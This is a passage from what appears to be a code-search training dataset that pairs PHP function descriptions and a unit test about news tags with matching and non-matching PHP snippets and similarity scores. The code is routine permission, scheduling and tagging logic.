"function activetime() { # Simply return TRUE or FALSE based on the time/dow and whether we should activate\n $st1 = 2114; # start time for activation on weekdays (primary schedule)\n $st2 = 2114; # start time for activation on weekends (secondary schedule)\n $et1 = 420; # end time for activation on weekdays (primary schedule)\n $et2 = 629; # end time for activation on weekends (secondary schedule)\n date_default_timezone_set('America/New_York'); # Default is UTC. That's not super-useful here.\n $nowtime = (int)date('Gi', time()); \n $nowdow = (int)date('w',time()); # 0 - 6, 0=Sunday, 6=Saturday\n\n if($nowdow >= 1 && $nowdow <= 5) { # Weekday (primary) schedule\n if(($nowtime >= $st1 && $nowtime <= 2359) || ($nowtime >= 0000 && $nowtime <= $et1) ) {\n return TRUE;\n }\n return FALSE;\n }\n else { # Weekend (secondary) schedule. \n if(($nowtime >= $st2 && $nowtime <= 2359) || ($nowtime >= 0000 && $nowtime <= $et2) ) {\n return TRUE;\n }\n return FALSE;\n }\n}",
"function allowAction() {\r\n $now = time();\r\n if ($this->check)\r\n $FT = $this->getFileCreationTime($this->controlFile);\r\n if ($FT) {\r\n $nextExec = $FT + ($this->minDelay * 60) - $now;\r\n if ($nextExec < 0) {\r\n $handle = fopen($this->controlFile, \"w\");\r\n if (!$handle)\r\n return false;\r\n else {\r\n if (!fwrite($handle, $now))\r\n return false;\r\n else {\r\n fclose($handle);\r\n $this->lastExec = $now;\r\n $this->nextExec = $now + ($this->minDelay * 60);\r\n $this->secToExec = $this->minDelay * 60;\r\n return true;\r\n }\r\n }\r\n } else {\r\n $this->lastExec = $FT;\r\n $this->nextExec = $FT + $nextExec;\r\n $this->secToExec = $nextExec;\r\n return false;\r\n }\r\n } else\r\n return false;\r\n }",
"public function is_expired() {\n\t\treturn $this->data['created_at'] + HOUR_IN_SECONDS < ITSEC_Core::get_current_time_gmt();\n\t}",
"public function attemptToKeepRunTime(string $key, \\DateTimeInterface $runTime): bool;",
"public function isIndefinied(){\n return !$this->expires_on;\n }",
"public function canRetry() : bool;"
]
| [
"0.6266",
"0.5561092",
"0.5513173",
"0.5437686",
"0.54349864",
"0.54303133",
"0.54150075",
"0.5411109",
"0.5406016",
"0.5375105",
"0.53744215",
"0.53423584",
"0.53105146",
"0.5306243",
"0.5306243",
"0.5293264",
"0.5284687",
"0.52803653",
"0.527373",
"0.52682906",
"0.5263226",
"0.5247518",
"0.5240048",
"0.5239267",
"0.52263194",
"0.52195174",
"0.52046055",
"0.52025586",
"0.5191318",
"0.5187948",
"0.5157281",
"0.5156079",
"0.515136",
"0.51481336",
"0.5147792",
"0.51337546",
"0.5127537",
"0.51209456",
"0.5103662",
"0.5096521",
"0.5087257",
"0.50740737",
"0.506785",
"0.50602007",
"0.5054857",
"0.5039152",
"0.50327253",
"0.50286984",
"0.5016191",
"0.50161535",
"0.5005742",
"0.5005107",
"0.5002271",
"0.5001314",
"0.49819311",
"0.49787998",
"0.49726138",
"0.49705166",
"0.49692836",
"0.4966749",
"0.4961541",
"0.4949534",
"0.49453977",
"0.4944929",
"0.49448162",
"0.49400014",
"0.49274558",
"0.49212822",
"0.491036",
"0.4907411",
"0.4907286",
"0.49066117",
"0.4906514",
"0.4905725",
"0.48874465",
"0.48801532",
"0.48795038",
"0.48758933",
"0.48654917",
"0.4853184",
"0.4850727",
"0.48504826",
"0.4844652",
"0.48444906",
"0.48444638",
"0.4839555",
"0.48391715",
"0.4835123",
"0.48349738",
"0.48345956",
"0.48303002",
"0.48278403",
"0.48181581",
"0.4815558",
"0.48153135",
"0.48148215",
"0.48140404",
"0.4811151",
"0.4810301",
"0.4800969"
]
| 0.56322145 | 1 |
Determine whether the user can permanently delete the hour. | public function forceDelete(User $user, Hour $hour)
{
// Handled by admin middleware
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function delete($user, Hour $hour)\n {\n if (!ClubHelper::settings($hour->club->id)->allow_delete && !isAdmin()) {\n return false;\n }\n\n return (!$hour->end_time)\n ? $hour->user_id === $user->id : isAdmin() === true;\n }",
"function canDelete() {\n return true;\n }",
"public function can_delete () {\r\n\r\n return $this->permissions[\"D\"] ? true : false;\r\n\r\n }",
"public function canDelete()\n {\n $user = $this->getUser();\n\n if ($user->getData('role') == 'Admin' && $this->getData('status') != Service\\BalanceWithdrawals::STATUS_PENDING) {\n return true;\n }\n\n return false;\n }",
"function canDelete(User $user) {\n return $user->canManageTrash();\n }",
"public function canDelete()\n {\n return 1;\n }",
"function canDelete($user) {\n if($this->getId() == $user->getId()) {\n return false; // user cannot delete himself\n } // if\n\n if($this->isAdministrator() && !$user->isAdministrator()) {\n return false; // only administrators can delete administrators\n } // if\n\n return $user->isPeopleManager();\n }",
"function canTrash(User $user) {\n if ($this->object->getState() == STATE_TRASHED) {\n return false;\n } // if\n\n\t $user_id = $user->getId();\n\n\t if(!array_key_exists($user_id, $this->can_delete)) {\n\t\t if($this->object->isOwner() || $user->getCompanyId() == $this->object->getId()) {\n\t\t\t $this->can_delete[$user_id] = false;\n\t\t } else {\n\t\t\t $has_last_admin = false;\n\n\t\t\t $users = $this->object->users()->get($user);\n\t\t\t if(is_foreachable($users)) {\n\t\t\t\t foreach($users as $v) {\n\t\t\t\t\t if($v->isLastAdministrator()) {\n\t\t\t\t\t\t $this->can_delete[$user_id] = false;\n\n\t\t\t\t\t\t $has_last_admin = true;\n\t\t\t\t\t\t break;\n\t\t\t\t\t } // if\n\t\t\t\t } // foreach\n\t\t\t } // if\n\n\t\t\t if(!$has_last_admin) {\n\t\t\t\t $this->can_delete[$user_id] = $user->isPeopleManager();\n\t\t\t } // if\n\t\t } // if\n\t } // if\n\n\t return $this->can_delete[$user_id];\n }",
"function userCanDeleteInterim( $sessionID ) {\r\n\t\treturn $this->getAccessLevel() > 8;\r\n\t}",
"function CanDelete()\n\t{\t\n\t\t\n\t\tif ($this->id && !$this->GetLocations() && $this->CanAdminUserDelete())\n\t\t{\n\t\t\t// courses\n\t\t\t$sql = \"SELECT cid FROM courses WHERE city=\" . (int)$this->id;\n\t\t\tif ($result = $this->db->Query($sql))\n\t\t\t{\tif ($this->db->NumRows($result))\n\t\t\t\t{\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t\t\n\t}",
"public function canBeDeleted() : bool\n\t{\n\t\t$countUsers = $this->users()->lockForUpdate()->count();\n\t\t$isFuture = $this->flight_at->isFuture();\n\n\t\tif ($countUsers === 0 && $isFuture) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}",
"public function delete(): bool\n {\n return $this->isAllowed(self::DELETE);\n }",
"public function canDelete()\n {\n return $this->canGet();\n }",
"function userCanDeleteUser( $sessionID, $username ) {\r\n\t\treturn $this->getAccessLevel() > 9;\r\n\t}",
"public function isHour() : bool {\n $hoursArr = $this->taskDetails['hours'];\n $retVal = true;\n\n if ($hoursArr['every-hour'] !== true) {\n $retVal = false;\n $current = TasksManager::getHour();\n $ranges = $hoursArr['at-range'];\n\n foreach ($ranges as $range) {\n if ($current >= $range[0] && $current <= $range[1]) {\n $retVal = true;\n break;\n }\n }\n\n if ($retVal === false) {\n $retVal = $this->isHourHelper($hoursArr, $current);\n }\n }\n\n return $retVal;\n }",
"function canDelete(User $user) {\n return $user->isFinancialManager();\n }",
"public function canDelete()\n {\n return in_array('delete', $this->actions);\n }",
"public function can_destroy() {\n $query = DB::connection()->prepare('SELECT * FROM Customervisit WHERE customer_id=:id LIMIT 1');\n $query->execute(array('id' => $this->id));\n $row = $query->fetch();\n //There should be no customervisits for customer.\n return empty($row);\n }",
"function CanDelete()\n\t{\treturn !count($this->subpages) && $this->CanAdminUserDelete();\n\t}",
"function deleteNotActivatedUsersIfTakingTooLong(){\n\ttry\n\t{\n\t\tinclude_once $_SERVER['DOCUMENT_ROOT'] . '/includes/db.inc.php';\n\n\t\t$pdo = connect_to_db();\n\n\t\t$sql = \"DELETE \t\n\t\t\t\tFROM \t`user`\n\t\t\t\tWHERE \tDATE_ADD(`create_time`, INTERVAL 8 HOUR) < CURRENT_TIMESTAMP\n\t\t\t\tAND \t`isActive` = 0\n\t\t\t\tAND\t\t`activationCode` IS NOT NULL\n\t\t\t\tAND\t\t`userID` <> 0\";\n\t\t$pdo->exec($sql);\n\n\t\treturn TRUE;\n\t}\n\tcatch(PDOException $e)\n\t{\n\t\t$pdo = null;\n\t\treturn FALSE;\n\t}\n}",
"public function canDelete()\n {\n return Auth::user() && ( $this->sender_id === Auth::id() || $this->recipient_id === Auth::id() );\n }",
"public function canDelete()\n {\n $exist = $this->getModelObj('permission')->where(['resource_code' => $this->code, 'app' => $this->app])->first();\n if ($exist) {\n return false;\n }\n return true;\n }",
"protected function canDelete($record) { return false; }",
"public function allowDeletion()\n {\n return $this->allowDeletion;\n }",
"public function canDelete($userId = \"\")\n {\n\n if ($userId == \"\")\n $userId = Yii::$app->user->id;\n\n if ($this->user_id == $userId)\n return true;\n\n if (Yii::$app->user->isAdmin()) {\n return true;\n }\n\n if ($this->container instanceof Space && $this->container->isAdmin($userId)) {\n return true;\n }\n\n return false;\n }",
"public function isDelete(): bool {}",
"public function delete() {\n\t\t$deleted = delete_metadata_by_mid( 'user', $this->get_id() );\n\n\t\tforeach ( get_user_meta( $this->get_user()->ID, self::META_KEY ) as $entry ) {\n\t\t\tif ( ! isset( $entry['created_at'] ) || $entry['created_at'] + HOUR_IN_SECONDS < ITSEC_Core::get_current_time_gmt() ) {\n\t\t\t\tdelete_user_meta( $this->get_user()->ID, self::META_KEY, $entry );\n\t\t\t}\n\t\t}\n\n\t\tif ( ! empty( $this->data['log'] ) ) {\n\t\t\tITSEC_Log::add_process_stop( $this->data['log'] );\n\t\t}\n\n\t\treturn $deleted;\n\t}",
"protected function hasActiveUserDeletePermissionForThisUser()\n {\n if (true === $this->bAllowEditByAll) {\n return true;\n }\n if (true === $this->IsOwner()) {\n return false;\n }\n /** @var SecurityHelperAccess $securityHelper */\n $securityHelper = ServiceLocator::get(SecurityHelperAccess::class);\n\n if (false === $securityHelper->isGranted(CmsPermissionAttributeConstants::TABLE_EDITOR_DELETE, $this->oTableConf->fieldName)) {\n return false;\n }\n\n if (true === $securityHelper->isGranted(CmsUserRoleConstants::CMS_ADMIN)) {\n return true;\n }\n\n if ($this->sId === $securityHelper->getUser()?->getId()) {\n // you cannot delete yourself.\n return false;\n }\n\n $oTargetUser = TdbCmsUser::GetNewInstance($this->sId);\n\n // Also, the user may only delete users that have at least one portal in common.\n $userPortals = $securityHelper->getUser()?->getPortals();\n if (null === $userPortals) {\n $userPortals = [];\n }\n $allowedPortals = array_keys($userPortals);\n $portalsOfTargetUser = $oTargetUser->GetFieldCmsPortalIdList();\n\n return 0 === \\count($portalsOfTargetUser) ||\n \\count(array_intersect($allowedPortals, $portalsOfTargetUser)) > 0;\n }",
"function canDelete($user) {\n if($this->isOwner() || $user->getCompanyId() == $this->getId()) {\n return false; // Owner company cannot be deleted. Also, user cannot delete company he belongs to\n } // if\n return $user->isPeopleManager();\n }",
"function permissions_delete()\n{\n // Deletion not allowed\n return false;\n}",
"public function isDelete();",
"public function sure_delete_local(){\r\n\t\tif($this->has_admin_panel()) return $this->module_sure_delete_local();\r\n return $this->module_no_permission();\r\n\t}",
"public function testAllowDelete()\n {\n $this->logOut();\n $deleteFalse = LogEntry::create()->canDelete(null);\n $this->assertFalse($deleteFalse);\n\n $this->logInWithPermission('ADMIN');\n $deleteTrue = LogEntry::create()->canDelete();\n $this->assertTrue($deleteTrue);\n }",
"public function canBeDeletedBy($user)\n {\n if ( ! ($user instanceof User)) {\n return false;\n }\n \n if ($this->isOwnedBy($user)) {\n \n // Allow a User to delete their own Key regardless of status.\n return true;\n \n } elseif ($user->isAdmin()) {\n \n /* Only allow someone else to delete a User's Key if they have the\n * appropriate authority and the Key has already been \"terminated\"\n * (for lack of a better word). */\n switch ($this->status) {\n case self::STATUS_DENIED:\n case self::STATUS_REVOKED:\n return true;\n\n default:\n return false;\n }\n }\n \n return false;\n }",
"function is_admin_delete_course_info($info_id)\n\t{\n\t\t// If admin -> return 1 only they create\n\t\tif(get_Total_Lesson($info_id) < 1 && is_admin_edit_course_info($info_id) ){\n\t\t\treturn 1;\n\t\t}\n\t\treturn 0;\n\t}",
"protected function canDelete() {\n return $this->canUpdate() &&\n parent::can(PERM_SOCIALQUESTIONCOMMENT_UPDATE_STATUS_DELETE, $this->getEmptyComment());\n }",
"public static function checkHours(): int\n {\n $closeHour = Carbon::createFromTime(17, 0, 0, 'UTC')->getTimestamp();\n $currentHour = Carbon::now('UTC')->getTimestamp();\n $currentDay = Carbon::now('UTC');\n $currentDay = $currentDay->dayOfWeek;\n $websiteSettings = WebsiteSettings::find(1);\n\n if ($currentDay !== 0 && $currentDay !== 6 && $websiteSettings['settings']['is_active'] !== 0) {\n return 0;\n }\n\n if ($currentDay === 6 && $currentHour < $closeHour && $websiteSettings['settings']['is_active'] !== 0) {\n return 0;\n }\n\n return 1;\n }",
"protected function canDelete($record)\n\t{\n\t\tif(!empty($record->id))\n\t\t{\n\t\t return Factory::getUser()->authorise(\n\t\t\t\t\"core.delete\",\n\t\t\t\t\"com_dinning_philosophers.dinning_philosophers.\".$record->id\n\t\t\t);\n\t\t}\n\t}",
"public function permanentlyDeleteById(int $UserId): bool;",
"protected function canDelete($record)\n {\n return true;\n }",
"public function delete(User $user, Task $task)\n {\n if ($user->isAdmin()) {\n return true;\n } else if ($user->isChair($task->conference) || $user->isCaptain($task->conference)) {\n return true;\n } else {\n return false;\n }\n }",
"abstract public function isUndeleting();",
"abstract public function isUndeleting();",
"public function view(User $user, Hour $hour)\n {\n //Handled by controller\n return $user->isAdmin() || $user->id === $hour->user_id;\n }",
"public function getCanDeleteProperty()\n {\n return $this->deleteConfirm === $this->staff->email;\n }",
"public function authorize(): bool\n {\n return Gate::allows('admin.genero.delete', $this->genero);\n }",
"public static function isAllowed() {\r\n\t\treturn TodoyuAuth::isAdmin();\r\n\t}",
"public function getCanDeleteAttribute()\n {\n // Are you the owner if the note?\n return Auth::id() == $this->user_id;\n }",
"public function delete() {\n $stmt = $this->pro->prepare('delete from user where id = :id');\n $stmt->bindValue(':id', $this->id);\n return $stmt->execute() == 1;\n }",
"function isUserActive($userId) {\n\n if (($ini = getUserIni($userId))) {\n if (!isset($ini[SECTION_Settings][VALUE_DeleteDate]) || strlen($ini[SECTION_Settings][VALUE_DeleteDate]) == 0)\n return true;\n }\n\n return false;\n}",
"public function delete()\n {\n $success = false;\n if (isset($this->id)) {\n $sql = \"UPDATE email_credential SET deleted = NOW() WHERE id = {$this->id}\";\n $this->execute_query($sql);\n $vars = get_class_vars(get_class($this));\n foreach ($vars as $key=>$value) {\n if ($key != 'readOnly') {\n unset($this->$key);\n }\n }\n $success = true;\n }\n return $success;\n }",
"public function canDelete()\n\t{\n\t\tif ( $this->deleteOrMoveQueued() === TRUE )\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\tif( static::restrictionCheck( 'delete' ) )\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tif( static::$ownerTypes['member'] !== NULL )\n\t\t{\n\t\t\t$column\t= static::$ownerTypes['member'];\n\n\t\t\tif( $this->$column == \\IPS\\Member::loggedIn()->member_id )\n\t\t\t{\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif( static::$ownerTypes['group'] !== NULL )\n\t\t{\n\t\t\t$column\t= static::$ownerTypes['group']['ids'];\n\n\t\t\t$value = $this->$column;\n\t\t\tif( count( array_intersect( explode( \",\", $value ), \\IPS\\Member::loggedIn()->groups ) ) )\n\t\t\t{\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t}\n\n\t\treturn FALSE;\n\t}",
"public function canDelete()\n {\n if ( !SimpleForumTools::checkAccess($this->forumNode(), 'topic', 'remove') )\n {\n \treturn false;\n }\n \t\n return true;\n }",
"function canUntrash(User $user) {\n if ($this->object->getState() != STATE_TRASHED) {\n return false;\n } // if\n\n return $user->canManageTrash();\n }",
"public function isDeleteGranted($entity): bool;",
"public function beforeDelete() {\n // Console doesn't have Yii::$app->user, so we skip it for console\n if (php_sapi_name() != 'cli') {\n // Don't let delete yourself\n if (Yii::$app->user->id == $this->id) {\n return false;\n }\n\n // Don't let non-superadmin delete superadmin\n if (!Yii::$app->user->isSuperadmin AND $this->superadmin == 1) {\n return false;\n }\n }\n\n return parent::beforeDelete();\n }",
"public function delete(User $user, Document $document)\n {\n if($document->created_at->diffInMinutes(Carbon::now()) > 5 ){\n return false;\n }else if($user->isAdmin()) {\n return true;\n }else {\n return $user->id === $document->user_id;\n }\n\n }",
"public function authorize()\n {\n $this->reusablePayment = FetchReusablePayment::run([\n 'encoded_id' => $this->encoded_id,\n ]);\n\n return $this->user()->can('delete', $this->reusablePayment);\n }",
"private function can_remove() {\n return isset( $_POST[ self::NAME ] ) &&\n $_POST[ self::NAME ] === 'remove' &&\n $this->backupFileExists() &&\n current_user_can( 'manage_options' );\n\n }",
"function UserIsClear()\n {\n StartSession();\n $isClear = isset($_SESSION[GetExamIdentifier()]);\n \n return $isClear;\n }",
"protected function canDelete($record)\r\n\t{\n\t\tif (!empty($record->id))\n\t\t{\n\t\t\tif ($record->published != -2)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t$user = JFactory::getUser();\n\t\t\t// The record has been set. Check the record permissions.\n\t\t\treturn $user->authorise('meeting.delete', 'com_bigbluebutton.meeting.' . (int) $record->id);\n\t\t}\n\t\treturn false;\r\n\t}",
"abstract function allowDeleteAction();",
"public function isDeleted();",
"public function isDeleted();",
"public function authorize()\n {\n $represent = $this->getRepresent();\n\n return $represent->can('delete')\n && $represent->exists($this->route('id'));\n }",
"public function isDeleted() {}",
"public function isDeleted() {}",
"protected function canDelete($record)\n\t{\n\t\tif(!empty($record->id))\n\t\t{\n\t\t\treturn Factory::getUser()->authorise(\"core.delete\", \"com_bookingmanager.customer.\" . $record->id);\n\t\t}\n\t}",
"function checkPermissionDelete() {\n\t\tif ($_SESSION['log_delete']!=='1'){\n\t\t\theader('Location: start.php');\n\t\t\tdie();\n\t\t}\n\t}",
"function canDelete($member = NULL)\n\t{\n\t\treturn true;\n\t}",
"public function update($user, Hour $hour)\n {\n //Admin update: handled by middleware\n //Clock in & Mark here\n return isAdmin() || $hour->user_id === $user->id;\n }",
"public function delete(): bool\n {\n\n return false;\n }",
"function delete() {\n\t\tif ( $this->getID() > 0 ) {\n\t\t\t$this->setActive(self::PROFILE_DISABLED);\n\t\t\treturn $this->save();\n\t\t}\n\t\treturn false;\n\t}",
"public function canDelete($item)\n {\n return false;\n }",
"public function canDelete($item)\n {\n return false;\n }",
"public function canDelete()\n {\n $translate = $this->getTranslate();\n\n if ($this->_usedInSales()) {\n return $translate->_('This store location cannot be removed because it is used in an invoice.');\n }\n\n return true;\n }",
"protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Webkul_MpAuction::auc_auto_bid_delete');\n }",
"abstract public function isDeletableByUser(User $user);",
"public function deleteAll()\n {\n if (! $this->m_active) {\n return false;\n }\n\n apc_clear_cache('user');\n return true;\n }",
"public function authorize(): bool\n {\n if (Auth::user()->hasPermissionTo('delete thread')) {\n return true;\n }\n\n $thread = $this->run(GetThreadJob::class, [\n 'thread_id' => $this->request->all()['thread_id']\n ]);\n\n if ($thread != null && $thread->user_id === Auth::user()->id && Auth::user()->hasPermissionTo('delete own thread')) {\n return true;\n }\n\n return false;\n }",
"public function delete() {\n\t\tglobal $wpdb;\n\n\t\t$bp = buddypress();\n\n\t\tdo_action_ref_array( 'xprofile_data_before_delete', array( $this ) );\n\n\t\tif ( !$wpdb->query( $wpdb->prepare( \"DELETE FROM {$bp->profile->table_name_data} WHERE field_id = %d AND user_id = %d\", $this->field_id, $this->user_id ) ) )\n\t\t\treturn false;\n\n\t\tdo_action_ref_array( 'xprofile_data_after_delete', array( $this ) );\n\n\t\treturn true;\n\t}",
"public function isDeleted(): bool;",
"public function isDeleted(): bool;",
"public function hasDeletedAt() : bool;",
"public function canDelete(IdentityInterface $user, sketch $sketch)\n {\n return true;\n }",
"public function delete(User $user)\n {\n return $user->is_admin == true;\n }",
"protected function canDelete($record)\n\t{\n\t\tif (!empty($record->id))\n\t\t{\n\t\t\tif ($record->state != -2)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\t$user = JFactory::getUser();\n\t\t\t\n\t\t\treturn $user->authorise('core.delete', 'com_cooltouraman.course.' . (int) $record->id);\n\t\t}\n\n\t\treturn false;\n\t}",
"public function canDelete($identifier = null);",
"public function isDeleted()\n\t{\n\t\treturn ($this->get('state') == static::ANSWERS_STATE_DELETE);\n\t}",
"public function deleteForConference(User $user, Task $task = null, Conference $conference)\n {\n return $user->isAdmin()\n || $user->isChair($conference)\n || $user->isCaptain($conference);;\n }",
"protected function isDeleting()\n {\n return $this->option('delete') == 'true';\n }",
"public function isDeleteable()\n {\n return $this->_isDeleteable;\n }",
"public function delete(User $user)\n {\n if ($user->can('delete_permission') || $user->can('manage_permissions')) {\n return true;\n }\n\n return false;\n }",
"public function forceDelete(User $user, Itms $itms)\n {\n return $user->isAdmin;\n }",
"public function delete(User $user, User $model)\n {\n if ($model->hasRole(AuthServiceProvider::SUPER)) return false;\n if ($user->hasRole(AuthServiceProvider::ADMIN) || $user->hasPermissionTo('benutzer-bearbeiten')) {\n foreach ($model->homeCities as $city) {\n if ($city->administeredBy($user)) return true;\n }\n }\n return false;\n }",
"public function authorize()\n {\n return $this->can('delete');\n }",
"public function hasQuotaUnlock(){\n return $this->_has(10);\n }",
"protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Webiators_DeleteOrdersFromAdmin::delete_order');\n }",
"public function deleteAdmin() {\n\t\t$numRows = $this->db->delete();\n\t\tif($numRows===1) {\n\t\t\treturn TRUE;\n\t\t}\n\t\telse {\n\t\t\treturn FALSE;\n\t\t}\n\t}",
"public function isEditable()\n\t{\n\t\tif(Auth::check())\n\t\t{\n\t\t\tif(Auth::user()->id == $this->author_id)\n\t\t\t{\n\t\t\t\tif ($this->created_at->diffInMinutes(Carbon::now()) < 30)\n\t\t\t\t{\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(Auth::user()->hasRole(['moderator', 'administrator', 'super user'])) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}"
]
| [
"0.6855995",
"0.6269539",
"0.61980146",
"0.61691386",
"0.6127664",
"0.61205363",
"0.61203825",
"0.6103154",
"0.6079957",
"0.60772514",
"0.6049992",
"0.6020577",
"0.60092103",
"0.5983043",
"0.5930813",
"0.5926151",
"0.5901624",
"0.5864238",
"0.58578867",
"0.58507043",
"0.5819128",
"0.5798392",
"0.57822627",
"0.57718784",
"0.57173544",
"0.57031065",
"0.5700581",
"0.56926215",
"0.56737006",
"0.5664873",
"0.5654193",
"0.5649855",
"0.56441975",
"0.56230325",
"0.56149805",
"0.5607658",
"0.5589422",
"0.55685127",
"0.55617106",
"0.55600667",
"0.553639",
"0.5525121",
"0.5525121",
"0.5509469",
"0.55089563",
"0.55081606",
"0.55045915",
"0.54822004",
"0.5481478",
"0.5480922",
"0.54775435",
"0.54699945",
"0.5457311",
"0.54472286",
"0.54307395",
"0.54286057",
"0.54208285",
"0.54155856",
"0.5410185",
"0.5409534",
"0.5407321",
"0.5405531",
"0.5398974",
"0.5398974",
"0.53973347",
"0.53970015",
"0.53955936",
"0.53932214",
"0.5389061",
"0.53831637",
"0.53725946",
"0.5372429",
"0.535872",
"0.5354906",
"0.5354906",
"0.53499424",
"0.5343816",
"0.53356963",
"0.53287494",
"0.5324618",
"0.5319129",
"0.5317361",
"0.5317361",
"0.5311325",
"0.53027856",
"0.5296629",
"0.5291654",
"0.5290091",
"0.52897596",
"0.528767",
"0.5286898",
"0.52867013",
"0.52855134",
"0.5285136",
"0.5284131",
"0.5283375",
"0.5276541",
"0.5274372",
"0.5264353",
"0.5256361"
]
| 0.58717865 | 17 |
Check if tags are linked correctly. We expect tag1 to be linked to 6 items. We expect tag2 to be linked to 4 items. We expect item1 to have 1 tag. We expect item2 to have 2 tags. We expect item3 to have 0 tags. | public function testTag()
{
$tag1 = $this->objFromFixture('Tag', 'tag1');
$tag2 = $this->objFromFixture('Tag', 'tag2');
$entry1 = $this->objFromFixture('News', 'item1');
$entry2 = $this->objFromFixture('News', 'item2');
$entry3 = $this->objFromFixture('News', 'item3');
$this->assertEquals($tag1->News()->count(), 6, 'Tag 1 to items');
$this->assertEquals($tag2->News()->count(), 4, 'Tag 2 to items');
$this->assertEquals($entry1->Tags()->count(), 1, 'Tags on item 1');
$this->assertEquals($entry2->Tags()->count(), 2, 'Tags on item 2');
$this->assertEquals($entry3->Tags()->count(), 0, 'Tags on item 0');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function hasUncheckedLinks($list)\n\t{\n\t\t//only checking one list side per call\n\t\tforeach($list as $l)\n\t\t{\n\t\t\tif($l['done'] == 0)\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t\t\n\t\t\n\t}",
"static public function getLinks($list){\n // This will match only the unique (user added) tag for each artefact\n\n function get_tags($a) {\n $ret = [];\n foreach($a as $b) array_push($ret, ['tag_id' => $b->id, 'tag' => strtolower($b->tag)]);\n return $ret;\n }\n\n function compare_tags($a, $b){\n return strcmp($a['tag'],$b['tag']);\n }\n\n function find_tag($needle, $haystack){\n $size = count($haystack);\n for($i = 0; $i < $size; $i++){\n if($haystack[$i]->tag == $needle['tag']) return $i;\n }\n return FALSE;\n }\n\n $links = [];\n\n foreach($list as $artefact){\n if(!$artefact->hasParent){\n $unique_tags = get_tags($artefact->tags);\n continue;\n } else{\n $artefact_tags = get_tags($artefact->tags);\n $parent_tags = get_tags($artefact->parent->tags);\n $unique_tags = array_udiff($artefact_tags, $parent_tags, 'App\\Http\\Controllers\\\\compare_tags');\n }\n foreach($unique_tags as $unique_tag){\n $key = find_tag($unique_tag, $links);\n if($key === FALSE){\n array_push($links, (object)array('tag_id' => $unique_tag['tag_id'], 'tag' => $unique_tag['tag'], 'items' => (string)$artefact->id, 'count' => 1));\n } else {\n $links[$key]->items = $links[$key]->items.','.(string)$artefact->id;\n $links[$key]->count = $links[$key]->count + 1;\n }\n }\n }\n\n return $links;\n }",
"public function testReturnsAValidLink()\n {\n $id = $this->faker->randomNumber();\n $item = $this->createItem($id);\n $this->assertStringEndsWith((string)$id, $item->getLink());\n }",
"private function checkLinks( DOMNode $root, array $links )\n {\n $unique = array();\n foreach ( $links as $dataNode )\n {\n if ( ( isset( $dataNode->rel ) && $dataNode->rel === 'alternate' )\n && isset( $dataNode->type )\n && isset( $dataNode->hreflang ) )\n {\n foreach ( $unique as $obj )\n {\n if ( $obj['type'] === $dataNode->type\n && $obj['hreflang'] === $dataNode->hreflang )\n {\n $parentNode = ( $root->nodeName === 'entry' ) ? '/feed' : '';\n $parentNode = ( $root->nodeName === 'source' ) ? '/feed/entry' : $parentNode;\n\n throw new ezcFeedOnlyOneValueAllowedException( \"{$parentNode}/{$root->nodeName}/link@rel=\\\"alternate\\\"\" );\n }\n }\n\n $unique[] = array( 'type' => $dataNode->type,\n 'hreflang' => $dataNode->hreflang );\n\n }\n }\n\n return true;\n }",
"public function testGetAllValidTags() {\n\t\t// Count the number of rows and save it for later\n\t\t$numRows = $this->getConnection()->getRowCount(\"tag\");\n\n\t\t// Create a new tag and insert to into mySQL\n\t\t$tag = new Tag(null, $this->VALID_TAG_LABEL);\n\t\t$tag->insert($this->getPDO());\n\n\t\t// Grab the data from mySQL and enforce the fields match our expectations\n\t\t$results = Tag::getAllTags($this->getPDO());\n\t\t$this->assertEquals($numRows + 1, $this->getConnection()->getRowCount(\"tag\"));\n\t\t$this->assertCount(1, $results);\n\t\t$this->assertContainsOnlyInstancesOf(\"Edu\\\\Cnm\\\\Brewcrew\\\\Tag\", $results);\n\n\t\t// Grab the result from the array and validate it\n\t\t$pdoTag = $results[0];\n\t\t$this->assertEquals($pdoTag->getTagLabel(), $this->VALID_TAG_LABEL);\n\t}",
"public function frontendTagVerification($tags, $product)\n {\n if (is_string($tags))\n $tags = $this->_convertTagsStringToArray($tags);\n //Verification in \"My Recent tags\" area\n $this->addParameter('productName', $product);\n foreach ($tags as $tag) {\n $this->navigate('customer_account');\n $this->addParameter('tagName', $tag);\n $this->assertTrue($this->controlIsPresent('link', 'tag'), \"Cannot find tag with name: $tag\");\n $this->clickControl('link', 'tag');\n $this->assertTrue($this->controlIsPresent('pageelement', 'tag_name_box'), \"Cannot find tag $tag in My Tags\");\n $this->assertTrue($this->controlIsPresent('link', 'product_name'),\"Cannot find product $product tagged with $tag\");\n }\n //Verification in \"My Account -> My Tags\"\n foreach ($tags as $tag) {\n $this->navigate('my_account_my_tags');\n $this->addParameter('tagName', $tag);\n $this->assertTrue($this->controlIsPresent('link', 'tag_name'), \"Cannot find tag with name: $tag\");\n $this->clickControl('link', 'tag_name');\n $this->assertTrue($this->controlIsPresent('pageelement', 'tag_name_box'), \"Cannot find tag $tag in My Tags\");\n $this->assertTrue($this->controlIsPresent('link', 'product_name'),\"Cannot find product $product tagged with $tag\");\n }\n }",
"public function hasLinks(){\n return $this->_has(9);\n }",
